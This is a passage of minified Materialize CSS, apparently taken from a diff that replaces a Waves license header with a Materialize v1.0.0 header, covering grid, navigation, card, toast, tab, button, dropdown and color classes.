.col.offset-xl2{margin-left:16.6666666667%}.row .col.pull-xl2{right:16.6666666667%}.row .col.push-xl2{left:16.6666666667%}.row .col.offset-xl3{margin-left:25%}.row .col.pull-xl3{right:25%}.row .col.push-xl3{left:25%}.row .col.offset-xl4{margin-left:33.3333333333%}.row .col.pull-xl4{right:33.3333333333%}.row .col.push-xl4{left:33.3333333333%}.row .col.offset-xl5{margin-left:41.6666666667%}.row .col.pull-xl5{right:41.6666666667%}.row .col.push-xl5{left:41.6666666667%}.row .col.offset-xl6{margin-left:50%}.row .col.pull-xl6{right:50%}.row .col.push-xl6{left:50%}.row .col.offset-xl7{margin-left:58.3333333333%}.row .col.pull-xl7{right:58.3333333333%}.row .col.push-xl7{left:58.3333333333%}.row .col.offset-xl8{margin-left:66.6666666667%}.row .col.pull-xl8{right:66.6666666667%}.row .col.push-xl8{left:66.6666666667%}.row .col.offset-xl9{margin-left:75%}.row .col.pull-xl9{right:75%}.row .col.push-xl9{left:75%}.row .col.offset-xl10{margin-left:83.3333333333%}.row .col.pull-xl10{right:83.3333333333%}.row .col.push-xl10{left:83.3333333333%}.row .col.offset-xl11{margin-left:91.6666666667%}.row .col.pull-xl11{right:91.6666666667%}.row .col.push-xl11{left:91.6666666667%}.row .col.offset-xl12{margin-left:100%}.row .col.pull-xl12{right:100%}.row .col.push-xl12{left:100%}}nav{color:#fff;background-color:#ee6e73;width:100%;height:56px;line-height:56px}nav.nav-extended{height:auto}nav.nav-extended .nav-wrapper{min-height:56px;height:auto}nav.nav-extended .nav-content{position:relative;line-height:normal}nav a{color:#fff}nav i,nav [class^="mdi-"],nav [class*="mdi-"],nav i.material-icons{display:block;font-size:24px;height:56px;line-height:56px}nav .nav-wrapper{position:relative;height:100%}@media only screen and (min-width: 993px){nav a.sidenav-trigger{display:none}}nav .sidenav-trigger{float:left;position:relative;z-index:1;height:56px;margin:0 18px}nav .sidenav-trigger i{height:56px;line-height:56px}nav .brand-logo{position:absolute;color:#fff;display:inline-block;font-size:2.1rem;padding:0}nav .brand-logo.center{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}@media only screen and (max-width: 992px){nav .brand-logo{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}nav .brand-logo.left,nav .brand-logo.right{padding:0;-webkit-transform:none;transform:none}nav .brand-logo.left{left:0.5rem}nav .brand-logo.right{right:0.5rem;left:auto}}nav .brand-logo.right{right:0.5rem;padding:0}nav .brand-logo i,nav .brand-logo [class^="mdi-"],nav .brand-logo [class*="mdi-"],nav .brand-logo i.material-icons{float:left;margin-right:15px}nav .nav-title{display:inline-block;font-size:32px;padding:28px 0}nav ul{margin:0}nav ul li{-webkit-transition:background-color .3s;transition:background-color .3s;float:left;padding:0}nav ul li.active{background-color:rgba(0,0,0,0.1)}nav ul a{-webkit-transition:background-color .3s;transition:background-color .3s;font-size:1rem;color:#fff;display:block;padding:0 15px;cursor:pointer}nav ul a.btn,nav ul a.btn-large,nav ul a.btn-small,nav ul a.btn-large,nav ul a.btn-flat,nav ul a.btn-floating{margin-top:-2px;margin-left:15px;margin-right:15px}nav ul a.btn>.material-icons,nav ul a.btn-large>.material-icons,nav ul a.btn-small>.material-icons,nav ul a.btn-large>.material-icons,nav ul a.btn-flat>.material-icons,nav ul a.btn-floating>.material-icons{height:inherit;line-height:inherit}nav ul a:hover{background-color:rgba(0,0,0,0.1)}nav ul.left{float:left}nav form{height:100%}nav .input-field{margin:0;height:100%}nav .input-field input{height:100%;font-size:1.2rem;border:none;padding-left:2rem}nav .input-field input:focus,nav .input-field input[type=text]:valid,nav .input-field input[type=password]:valid,nav .input-field input[type=email]:valid,nav .input-field input[type=url]:valid,nav .input-field input[type=date]:valid{border:none;-webkit-box-shadow:none;box-shadow:none}nav .input-field label{top:0;left:0}nav .input-field label i{color:rgba(255,255,255,0.7);-webkit-transition:color .3s;transition:color .3s}nav .input-field label.active i{color:#fff}.navbar-fixed{position:relative;height:56px;z-index:997}.navbar-fixed nav{position:fixed}@media only screen and (min-width: 601px){nav.nav-extended .nav-wrapper{min-height:64px}nav,nav .nav-wrapper i,nav a.sidenav-trigger,nav a.sidenav-trigger i{height:64px;line-height:64px}.navbar-fixed{height:64px}}a{text-decoration:none}html{line-height:1.5;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-weight:normal;color:rgba(0,0,0,0.87)}@media only screen and (min-width: 0){html{font-size:14px}}@media only screen and (min-width: 992px){html{font-size:14.5px}}@media only screen and (min-width: 1200px){html{font-size:15px}}h1,h2,h3,h4,h5,h6{font-weight:400;line-height:1.3}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{font-weight:inherit}h1{font-size:4.2rem;line-height:110%;margin:2.8rem 0 1.68rem 0}h2{font-size:3.56rem;line-height:110%;margin:2.3733333333rem 0 1.424rem 0}h3{font-size:2.92rem;line-height:110%;margin:1.9466666667rem 0 1.168rem 0}h4{font-size:2.28rem;line-height:110%;margin:1.52rem 0 .912rem 0}h5{font-size:1.64rem;line-height:110%;margin:1.0933333333rem 0 .656rem 0}h6{font-size:1.15rem;line-height:110%;margin:.7666666667rem 0 .46rem 0}em{font-style:italic}strong{font-weight:500}small{font-size:75%}.light{font-weight:300}.thin{font-weight:200}@media only screen and (min-width: 360px){.flow-text{font-size:1.2rem}}@media only screen and (min-width: 390px){.flow-text{font-size:1.224rem}}@media only screen and (min-width: 420px){.flow-text{font-size:1.248rem}}@media only screen and (min-width: 450px){.flow-text{font-size:1.272rem}}@media only screen and (min-width: 480px){.flow-text{font-size:1.296rem}}@media only screen and (min-width: 510px){.flow-text{font-size:1.32rem}}@media only screen and (min-width: 540px){.flow-text{font-size:1.344rem}}@media only screen and (min-width: 570px){.flow-text{font-size:1.368rem}}@media only screen and (min-width: 600px){.flow-text{font-size:1.392rem}}@media only screen and (min-width: 630px){.flow-text{font-size:1.416rem}}@media only screen and (min-width: 660px){.flow-text{font-size:1.44rem}}@media only screen and (min-width: 690px){.flow-text{font-size:1.464rem}}@media only screen and (min-width: 720px){.flow-text{font-size:1.488rem}}@media only screen and (min-width: 750px){.flow-text{font-size:1.512rem}}@media only screen and (min-width: 780px){.flow-text{font-size:1.536rem}}@media only screen and (min-width: 810px){.flow-text{font-size:1.56rem}}@media only screen and (min-width: 840px){.flow-text{font-size:1.584rem}}@media only screen and (min-width: 870px){.flow-text{font-size:1.608rem}}@media only screen and (min-width: 900px){.flow-text{font-size:1.632rem}}@media only screen and (min-width: 930px){.flow-text{font-size:1.656rem}}@media only screen and (min-width: 960px){.flow-text{font-size:1.68rem}}@media only screen and (max-width: 360px){.flow-text{font-size:1.2rem}}.scale-transition{-webkit-transition:-webkit-transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important;transition:-webkit-transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important;transition:transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important;transition:transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63), -webkit-transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important}.scale-transition.scale-out{-webkit-transform:scale(0);transform:scale(0);-webkit-transition:-webkit-transform .2s !important;transition:-webkit-transform .2s !important;transition:transform .2s !important;transition:transform .2s, -webkit-transform .2s !important}.scale-transition.scale-in{-webkit-transform:scale(1);transform:scale(1)}.card-panel{-webkit-transition:-webkit-box-shadow .25s;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s, -webkit-box-shadow .25s;padding:24px;margin:.5rem 0 1rem 0;border-radius:2px;background-color:#fff}.card{position:relative;margin:.5rem 0 1rem 0;background-color:#fff;-webkit-transition:-webkit-box-shadow .25s;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s, -webkit-box-shadow .25s;border-radius:2px}.card .card-title{font-size:24px;font-weight:300}.card .card-title.activator{cursor:pointer}.card.small,.card.medium,.card.large{position:relative}.card.small .card-image,.card.medium .card-image,.card.large .card-image{max-height:60%;overflow:hidden}.card.small .card-image+.card-content,.card.medium .card-image+.card-content,.card.large .card-image+.card-content{max-height:40%}.card.small .card-content,.card.medium .card-content,.card.large .card-content{max-height:100%;overflow:hidden}.card.small .card-action,.card.medium .card-action,.card.large .card-action{position:absolute;bottom:0;left:0;right:0}.card.small{height:300px}.card.medium{height:400px}.card.large{height:500px}.card.horizontal{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.card.horizontal.small .card-image,.card.horizontal.medium .card-image,.card.horizontal.large .card-image{height:100%;max-height:none;overflow:visible}.card.horizontal.small .card-image img,.card.horizontal.medium .card-image img,.card.horizontal.large .card-image img{height:100%}.card.horizontal .card-image{max-width:50%}.card.horizontal .card-image img{border-radius:2px 0 0 2px;max-width:100%;width:auto}.card.horizontal .card-stacked{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;position:relative}.card.horizontal .card-stacked .card-content{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.card.sticky-action .card-action{z-index:2}.card.sticky-action .card-reveal{z-index:1;padding-bottom:64px}.card .card-image{position:relative}.card .card-image img{display:block;border-radius:2px 2px 0 0;position:relative;left:0;right:0;top:0;bottom:0;width:100%}.card .card-image .card-title{color:#fff;position:absolute;bottom:0;left:0;max-width:100%;padding:24px}.card .card-content{padding:24px;border-radius:0 0 2px 2px}.card .card-content p{margin:0}.card .card-content .card-title{display:block;line-height:32px;margin-bottom:8px}.card .card-content .card-title i{line-height:32px}.card .card-action{background-color:inherit;border-top:1px solid rgba(160,160,160,0.2);position:relative;padding:16px 24px}.card .card-action:last-child{border-radius:0 0 2px 2px}.card .card-action a:not(.btn):not(.btn-large):not(.btn-small):not(.btn-large):not(.btn-floating){color:#ffab40;margin-right:24px;-webkit-transition:color .3s ease;transition:color .3s ease;text-transform:uppercase}.card .card-action a:not(.btn):not(.btn-large):not(.btn-small):not(.btn-large):not(.btn-floating):hover{color:#ffd8a6}.card .card-reveal{padding:24px;position:absolute;background-color:#fff;width:100%;overflow-y:auto;left:0;top:100%;height:100%;z-index:3;display:none}.card .card-reveal .card-title{cursor:pointer;display:block}#toast-container{display:block;position:fixed;z-index:10000}@media only screen and (max-width: 600px){#toast-container{min-width:100%;bottom:0%}}@media only screen and (min-width: 601px) and (max-width: 992px){#toast-container{left:5%;bottom:7%;max-width:90%}}@media only screen and (min-width: 993px){#toast-container{top:10%;right:7%;max-width:86%}}.toast{border-radius:2px;top:35px;width:auto;margin-top:10px;position:relative;max-width:100%;height:auto;min-height:48px;line-height:1.5em;background-color:#323232;padding:10px 25px;font-size:1.1rem;font-weight:300;color:#fff;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;cursor:default}.toast .toast-action{color:#eeff41;font-weight:500;margin-right:-25px;margin-left:3rem}.toast.rounded{border-radius:24px}@media only screen and (max-width: 600px){.toast{width:100%;border-radius:0}}.tabs{position:relative;overflow-x:auto;overflow-y:hidden;height:48px;width:100%;background-color:#fff;margin:0 auto;white-space:nowrap}.tabs.tabs-transparent{background-color:transparent}.tabs.tabs-transparent .tab a,.tabs.tabs-transparent .tab.disabled a,.tabs.tabs-transparent .tab.disabled a:hover{color:rgba(255,255,255,0.7)}.tabs.tabs-transparent .tab a:hover,.tabs.tabs-transparent .tab a.active{color:#fff}.tabs.tabs-transparent .indicator{background-color:#fff}.tabs.tabs-fixed-width{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.tabs.tabs-fixed-width .tab{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.tabs .tab{display:inline-block;text-align:center;line-height:48px;height:48px;padding:0;margin:0;text-transform:uppercase}.tabs .tab a{color:rgba(238,110,115,0.7);display:block;width:100%;height:100%;padding:0 24px;font-size:14px;text-overflow:ellipsis;overflow:hidden;-webkit-transition:color .28s ease, background-color .28s ease;transition:color .28s ease, background-color .28s ease}.tabs .tab a:focus,.tabs .tab a:focus.active{background-color:rgba(246,178,181,0.2);outline:none}.tabs .tab a:hover,.tabs .tab a.active{background-color:transparent;color:#ee6e73}.tabs .tab.disabled a,.tabs .tab.disabled a:hover{color:rgba(238,110,115,0.4);cursor:default}.tabs .indicator{position:absolute;bottom:0;height:2px;background-color:#f6b2b5;will-change:left, right}@media only screen and (max-width: 992px){.tabs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.tabs .tab{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.tabs .tab a{padding:0 12px}}.material-tooltip{padding:10px 8px;font-size:1rem;z-index:2000;background-color:transparent;border-radius:2px;color:#fff;min-height:36px;line-height:120%;opacity:0;position:absolute;text-align:center;max-width:calc(100% - 4px);overflow:hidden;left:0;top:0;pointer-events:none;visibility:hidden;background-color:#323232}.backdrop{position:absolute;opacity:0;height:7px;width:14px;border-radius:0 0 50% 50%;background-color:#323232;z-index:-1;-webkit-transform-origin:50% 0%;transform-origin:50% 0%;visibility:hidden}.btn,.btn-large,.btn-small,.btn-flat{border:none;border-radius:2px;display:inline-block;height:36px;line-height:36px;padding:0 16px;text-transform:uppercase;vertical-align:middle;-webkit-tap-highlight-color:transparent}.btn.disabled,.disabled.btn-large,.disabled.btn-small,.btn-floating.disabled,.btn-large.disabled,.btn-small.disabled,.btn-flat.disabled,.btn:disabled,.btn-large:disabled,.btn-small:disabled,.btn-floating:disabled,.btn-large:disabled,.btn-small:disabled,.btn-flat:disabled,.btn[disabled],.btn-large[disabled],.btn-small[disabled],.btn-floating[disabled],.btn-large[disabled],.btn-small[disabled],.btn-flat[disabled]{pointer-events:none;background-color:#DFDFDF !important;-webkit-box-shadow:none;box-shadow:none;color:#9F9F9F !important;cursor:default}.btn.disabled:hover,.disabled.btn-large:hover,.disabled.btn-small:hover,.btn-floating.disabled:hover,.btn-large.disabled:hover,.btn-small.disabled:hover,.btn-flat.disabled:hover,.btn:disabled:hover,.btn-large:disabled:hover,.btn-small:disabled:hover,.btn-floating:disabled:hover,.btn-large:disabled:hover,.btn-small:disabled:hover,.btn-flat:disabled:hover,.btn[disabled]:hover,.btn-large[disabled]:hover,.btn-small[disabled]:hover,.btn-floating[disabled]:hover,.btn-large[disabled]:hover,.btn-small[disabled]:hover,.btn-flat[disabled]:hover{background-color:#DFDFDF !important;color:#9F9F9F !important}.btn,.btn-large,.btn-small,.btn-floating,.btn-large,.btn-small,.btn-flat{font-size:14px;outline:0}.btn i,.btn-large i,.btn-small i,.btn-floating i,.btn-large i,.btn-small i,.btn-flat i{font-size:1.3rem;line-height:inherit}.btn:focus,.btn-large:focus,.btn-small:focus,.btn-floating:focus{background-color:#1d7d74}.btn,.btn-large,.btn-small{text-decoration:none;color:#fff;background-color:#26a69a;text-align:center;letter-spacing:.5px;-webkit-transition:background-color .2s ease-out;transition:background-color .2s ease-out;cursor:pointer}.btn:hover,.btn-large:hover,.btn-small:hover{background-color:#2bbbad}.btn-floating{display:inline-block;color:#fff;position:relative;overflow:hidden;z-index:1;width:40px;height:40px;line-height:40px;padding:0;background-color:#26a69a;border-radius:50%;-webkit-transition:background-color .3s;transition:background-color .3s;cursor:pointer;vertical-align:middle}.btn-floating:hover{background-color:#26a69a}.btn-floating:before{border-radius:0}.btn-floating.btn-large{width:56px;height:56px;padding:0}.btn-floating.btn-large.halfway-fab{bottom:-28px}.btn-floating.btn-large i{line-height:56px}.btn-floating.btn-small{width:32.4px;height:32.4px}.btn-floating.btn-small.halfway-fab{bottom:-16.2px}.btn-floating.btn-small i{line-height:32.4px}.btn-floating.halfway-fab{position:absolute;right:24px;bottom:-20px}.btn-floating.halfway-fab.left{right:auto;left:24px}.btn-floating i{width:inherit;display:inline-block;text-align:center;color:#fff;font-size:1.6rem;line-height:40px}button.btn-floating{border:none}.fixed-action-btn{position:fixed;right:23px;bottom:23px;padding-top:15px;margin-bottom:0;z-index:997}.fixed-action-btn.active ul{visibility:visible}.fixed-action-btn.direction-left,.fixed-action-btn.direction-right{padding:0 0 0 15px}.fixed-action-btn.direction-left ul,.fixed-action-btn.direction-right ul{text-align:right;right:64px;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);height:100%;left:auto;width:500px}.fixed-action-btn.direction-left ul li,.fixed-action-btn.direction-right ul li{display:inline-block;margin:7.5px 15px 0 0}.fixed-action-btn.direction-right{padding:0 15px 0 0}.fixed-action-btn.direction-right ul{text-align:left;direction:rtl;left:64px;right:auto}.fixed-action-btn.direction-right ul li{margin:7.5px 0 0 15px}.fixed-action-btn.direction-bottom{padding:0 0 15px 0}.fixed-action-btn.direction-bottom ul{top:64px;bottom:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.fixed-action-btn.direction-bottom ul li{margin:15px 0 0 0}.fixed-action-btn.toolbar{padding:0;height:56px}.fixed-action-btn.toolbar.active>a i{opacity:0}.fixed-action-btn.toolbar ul{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;top:0;bottom:0;z-index:1}.fixed-action-btn.toolbar ul li{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;display:inline-block;margin:0;height:100%;-webkit-transition:none;transition:none}.fixed-action-btn.toolbar ul li a{display:block;overflow:hidden;position:relative;width:100%;height:100%;background-color:transparent;-webkit-box-shadow:none;box-shadow:none;color:#fff;line-height:56px;z-index:1}.fixed-action-btn.toolbar ul li a i{line-height:inherit}.fixed-action-btn ul{left:0;right:0;text-align:center;position:absolute;bottom:64px;margin:0;visibility:hidden}.fixed-action-btn ul li{margin-bottom:15px}.fixed-action-btn ul a.btn-floating{opacity:0}.fixed-action-btn .fab-backdrop{position:absolute;top:0;left:0;z-index:-1;width:40px;height:40px;background-color:#26a69a;border-radius:50%;-webkit-transform:scale(0);transform:scale(0)}.btn-flat{-webkit-box-shadow:none;box-shadow:none;background-color:transparent;color:#343434;cursor:pointer;-webkit-transition:background-color .2s;transition:background-color .2s}.btn-flat:focus,.btn-flat:hover{-webkit-box-shadow:none;box-shadow:none}.btn-flat:focus{background-color:rgba(0,0,0,0.1)}.btn-flat.disabled,.btn-flat.btn-flat[disabled]{background-color:transparent !important;color:#b3b2b2 !important;cursor:default}.btn-large{height:54px;line-height:54px;font-size:15px;padding:0 28px}.btn-large i{font-size:1.6rem}.btn-small{height:32.4px;line-height:32.4px;font-size:13px}.btn-small i{font-size:1.2rem}.btn-block{display:block}.dropdown-content{background-color:#fff;margin:0;display:none;min-width:100px;overflow-y:auto;opacity:0;position:absolute;left:0;top:0;z-index:9999;-webkit-transform-origin:0 0;transform-origin:0 0}.dropdown-content:focus{outline:0}.dropdown-content li{clear:both;color:rgba(0,0,0,0.87);cursor:pointer;min-height:50px;line-height:1.5rem;width:100%;text-align:left}.dropdown-content li:hover,.dropdown-content li.active{background-color:#eee}.dropdown-content li:focus{outline:none}.dropdown-content li.divider{min-height:0;height:1px}.dropdown-content li>a,.dropdown-content li>span{font-size:16px;color:#26a69a;display:block;line-height:22px;padding:14px 16px}.dropdown-content li>span>label{top:1px;left:0;height:18px}.dropdown-content li>a>i{height:inherit;line-height:inherit;float:left;margin:0 24px 0 0;width:24px}body.keyboard-focused .dropdown-content li:focus{background-color:#dadada}.input-field.col .dropdown-content [type="checkbox"]+label{top:1px;left:0;height:18px;-webkit-transform:none;transform:none}.dropdown-trigger{cursor:pointer}/*! - * Waves v0.6.0 - * http://fian.my.id/Waves - * - * Copyright 2014 Alfiana E. Sibuea and other contributors - * Released under the MIT license - * https://github.com/fians/Waves/blob/master/LICENSE +/*! + * Materialize v1.0.0 (http://materializecss.com) + * Copyright 2014-2017 Materialize + * MIT License (https://raw.githubusercontent.com/Dogfalo/materialize/master/LICENSE) + */ +.materialize-red{background-color:#e51c23 !important}.materialize-red-text{color:#e51c23 !important}.materialize-red.lighten-5{background-color:#fdeaeb !important}.materialize-red-text.text-lighten-5{color:#fdeaeb !important}.materialize-red.lighten-4{background-color:#f8c1c3 !important}.materialize-red-text.text-lighten-4{color:#f8c1c3 !important}.materialize-red.lighten-3{background-color:#f3989b !important}.materialize-red-text.text-lighten-3{color:#f3989b !important}.materialize-red.lighten-2{background-color:#ee6e73 !important}.materialize-red-text.text-lighten-2{color:#ee6e73 !important}.materialize-red.lighten-1{background-color:#ea454b !important}.materialize-red-text.text-lighten-1{color:#ea454b !important}.materialize-red.darken-1{background-color:#d0181e !important}.materialize-red-text.text-darken-1{color:#d0181e !important}.materialize-red.darken-2{background-color:#b9151b !important}.materialize-red-text.text-darken-2{color:#b9151b !important}.materialize-red.darken-3{background-color:#a21318 !important}.materialize-red-text.text-darken-3{color:#a21318 !important}.materialize-red.darken-4{background-color:#8b1014 !important}.materialize-red-text.text-darken-4{color:#8b1014 !important}.red{background-color:#F44336 !important}.red-text{color:#F44336 !important}.red.lighten-5{background-color:#FFEBEE !important}.red-text.text-lighten-5{color:#FFEBEE !important}.red.lighten-4{background-color:#FFCDD2 !important}.red-text.text-lighten-4{color:#FFCDD2 !important}.red.lighten-3{background-color:#EF9A9A !important}.red-text.text-lighten-3{color:#EF9A9A !important}.red.lighten-2{background-color:#E57373 !important}.red-text.text-lighten-2{color:#E57373 !important}.red.lighten-1{background-color:#EF5350 !important}.red-text.text-lighten-1{color:#EF5350 !important}.red.darken-1{background-color:#E53935 !important}.red-text.text-darken-1{color:#E53935 !important}.red.darken-2{background-color:#D32F2F !important}.red-text.text-darken-2{color:#D32F2F !important}.red.darken-3{background-color:#C62828 !important}.red-text.text-darken-3{color:#C62828 !important}.red.darken-4{background-color:#B71C1C !important}.red-text.text-darken-4{color:#B71C1C !important}.red.accent-1{background-color:#FF8A80 !important}.red-text.text-accent-1{color:#FF8A80 !important}.red.accent-2{background-color:#FF5252 !important}.red-text.text-accent-2{color:#FF5252 !important}.red.accent-3{background-color:#FF1744 !important}.red-text.text-accent-3{color:#FF1744 !important}.red.accent-4{background-color:#D50000 !important}.red-text.text-accent-4{color:#D50000 !important}.pink{background-color:#e91e63 !important}.pink-text{color:#e91e63 !important}.pink.lighten-5{background-color:#fce4ec !important}.pink-text.text-lighten-5{color:#fce4ec !important}.pink.lighten-4{background-color:#f8bbd0 !important}.pink-text.text-lighten-4{color:#f8bbd0 !important}.pink.lighten-3{background-color:#f48fb1 !important}.pink-text.text-lighten-3{color:#f48fb1 !important}.pink.lighten-2{background-color:#f06292 !important}.pink-text.text-lighten-2{color:#f06292 !important}.pink.lighten-1{background-color:#ec407a !important}.pink-text.text-lighten-1{color:#ec407a !important}.pink.darken-1{background-color:#d81b60 !important}.pink-text.text-darken-1{color:#d81b60 !important}.pink.darken-2{background-color:#c2185b !important}.pink-text.text-darken-2{color:#c2185b !important}.pink.darken-3{background-color:#ad1457 !important}.pink-text.text-darken-3{color:#ad1457 !important}.pink.darken-4{background-color:#880e4f !important}.pink-text.text-darken-4{color:#880e4f !important}.pink.accent-1{background-color:#ff80ab !important}.pink-text.text-accent-1{color:#ff80ab !important}.pink.accent-2{background-color:#ff4081 !important}.pink-text.text-accent-2{color:#ff4081 !important}.pink.accent-3{background-color:#f50057 !important}.pink-text.text-accent-3{color:#f50057 !important}.pink.accent-4{background-color:#c51162 !important}.pink-text.text-accent-4{color:#c51162 !important}.purple{background-color:#9c27b0 !important}.purple-text{color:#9c27b0 !important}.purple.lighten-5{background-color:#f3e5f5 !important}.purple-text.text-lighten-5{color:#f3e5f5 !important}.purple.lighten-4{background-color:#e1bee7 !important}.purple-text.text-lighten-4{color:#e1bee7 !important}.purple.lighten-3{background-color:#ce93d8 !important}.purple-text.text-lighten-3{color:#ce93d8 !important}.purple.lighten-2{background-color:#ba68c8 !important}.purple-text.text-lighten-2{color:#ba68c8 !important}.purple.lighten-1{background-color:#ab47bc !important}.purple-text.text-lighten-1{color:#ab47bc !important}.purple.darken-1{background-color:#8e24aa !important}.purple-text.text-darken-1{color:#8e24aa !important}.purple.darken-2{background-color:#7b1fa2 !important}.purple-text.text-darken-2{color:#7b1fa2 !important}.purple.darken-3{background-color:#6a1b9a !important}.purple-text.text-darken-3{color:#6a1b9a !important}.purple.darken-4{background-color:#4a148c !important}.purple-text.text-darken-4{color:#4a148c !important}.purple.accent-1{background-color:#ea80fc !important}.purple-text.text-accent-1{color:#ea80fc !important}.purple.accent-2{background-color:#e040fb !important}.purple-text.text-accent-2{color:#e040fb !important}.purple.accent-3{background-color:#d500f9 !important}.purple-text.text-accent-3{color:#d500f9 !important}.purple.accent-4{background-color:#a0f !important}.purple-text.text-accent-4{color:#a0f !important}.deep-purple{background-color:#673ab7 !important}.deep-purple-text{color:#673ab7 !important}.deep-purple.lighten-5{background-color:#ede7f6 !important}.deep-purple-text.text-lighten-5{color:#ede7f6 !important}.deep-purple.lighten-4{background-color:#d1c4e9 !important}.deep-purple-text.text-lighten-4{color:#d1c4e9 !important}.deep-purple.lighten-3{background-color:#b39ddb !important}.deep-purple-text.text-lighten-3{color:#b39ddb !important}.deep-purple.lighten-2{background-color:#9575cd !important}.deep-purple-text.text-lighten-2{color:#9575cd !important}.deep-purple.lighten-1{background-color:#7e57c2 !important}.deep-purple-text.text-lighten-1{color:#7e57c2 !important}.deep-purple.darken-1{background-color:#5e35b1 !important}.deep-purple-text.text-darken-1{color:#5e35b1 !important}.deep-purple.darken-2{background-color:#512da8 !important}.deep-purple-text.text-darken-2{color:#512da8 !important}.deep-purple.darken-3{background-color:#4527a0 !important}.deep-purple-text.text-darken-3{color:#4527a0 !important}.deep-purple.darken-4{background-color:#311b92 !important}.deep-purple-text.text-darken-4{color:#311b92 !important}.deep-purple.accent-1{background-color:#b388ff !important}.deep-purple-text.text-accent-1{color:#b388ff !important}.deep-purple.accent-2{background-color:#7c4dff !important}.deep-purple-text.text-accent-2{color:#7c4dff !important}.deep-purple.accent-3{background-color:#651fff !important}.deep-purple-text.text-accent-3{color:#651fff !important}.deep-purple.accent-4{background-color:#6200ea !important}.deep-purple-text.text-accent-4{color:#6200ea !important}.indigo{background-color:#3f51b5 !important}.indigo-text{color:#3f51b5 !important}.indigo.lighten-5{background-color:#e8eaf6 !important}.indigo-text.text-lighten-5{color:#e8eaf6 !important}.indigo.lighten-4{background-color:#c5cae9 !important}.indigo-text.text-lighten-4{color:#c5cae9 !important}.indigo.lighten-3{background-color:#9fa8da !important}.indigo-text.text-lighten-3{color:#9fa8da !important}.indigo.lighten-2{background-color:#7986cb !important}.indigo-text.text-lighten-2{color:#7986cb !important}.indigo.lighten-1{background-color:#5c6bc0 !important}.indigo-text.text-lighten-1{color:#5c6bc0 !important}.indigo.darken-1{background-color:#3949ab !important}.indigo-text.text-darken-1{color:#3949ab !important}.indigo.darken-2{background-color:#303f9f !important}.indigo-text.text-darken-2{color:#303f9f !important}.indigo.darken-3{background-color:#283593 !important}.indigo-text.text-darken-3{color:#283593 !important}.indigo.darken-4{background-color:#1a237e !important}.indigo-text.text-darken-4{color:#1a237e !important}.indigo.accent-1{background-color:#8c9eff !important}.indigo-text.text-accent-1{color:#8c9eff !important}.indigo.accent-2{background-color:#536dfe !important}.indigo-text.text-accent-2{color:#536dfe !important}.indigo.accent-3{background-color:#3d5afe !important}.indigo-text.text-accent-3{color:#3d5afe !important}.indigo.accent-4{background-color:#304ffe !important}.indigo-text.text-accent-4{color:#304ffe !important}.blue{background-color:#2196F3 !important}.blue-text{color:#2196F3 !important}.blue.lighten-5{background-color:#E3F2FD !important}.blue-text.text-lighten-5{color:#E3F2FD !important}.blue.lighten-4{background-color:#BBDEFB !important}.blue-text.text-lighten-4{color:#BBDEFB !important}.blue.lighten-3{background-color:#90CAF9 !important}.blue-text.text-lighten-3{color:#90CAF9 !important}.blue.lighten-2{background-color:#64B5F6 !important}.blue-text.text-lighten-2{color:#64B5F6 !important}.blue.lighten-1{background-color:#42A5F5 !important}.blue-text.text-lighten-1{color:#42A5F5 !important}.blue.darken-1{background-color:#1E88E5 !important}.blue-text.text-darken-1{color:#1E88E5 !important}.blue.darken-2{background-color:#1976D2 !important}.blue-text.text-darken-2{color:#1976D2 !important}.blue.darken-3{background-color:#1565C0 !important}.blue-text.text-darken-3{color:#1565C0 !important}.blue.darken-4{background-color:#0D47A1 !important}.blue-text.text-darken-4{color:#0D47A1 !important}.blue.accent-1{background-color:#82B1FF !important}.blue-text.text-accent-1{color:#82B1FF !important}.blue.accent-2{background-color:#448AFF !important}.blue-text.text-accent-2{color:#448AFF !important}.blue.accent-3{background-color:#2979FF !important}.blue-text.text-accent-3{color:#2979FF !important}.blue.accent-4{background-color:#2962FF !important}.blue-text.text-accent-4{color:#2962FF !important}.light-blue{background-color:#03a9f4 !important}.light-blue-text{color:#03a9f4 !important}.light-blue.lighten-5{background-color:#e1f5fe !important}.light-blue-text.text-lighten-5{color:#e1f5fe !important}.light-blue.lighten-4{background-color:#b3e5fc !important}.light-blue-text.text-lighten-4{color:#b3e5fc !important}.light-blue.lighten-3{background-color:#81d4fa !important}.light-blue-text.text-lighten-3{color:#81d4fa !important}.light-blue.lighten-2{background-color:#4fc3f7 !important}.light-blue-text.text-lighten-2{color:#4fc3f7 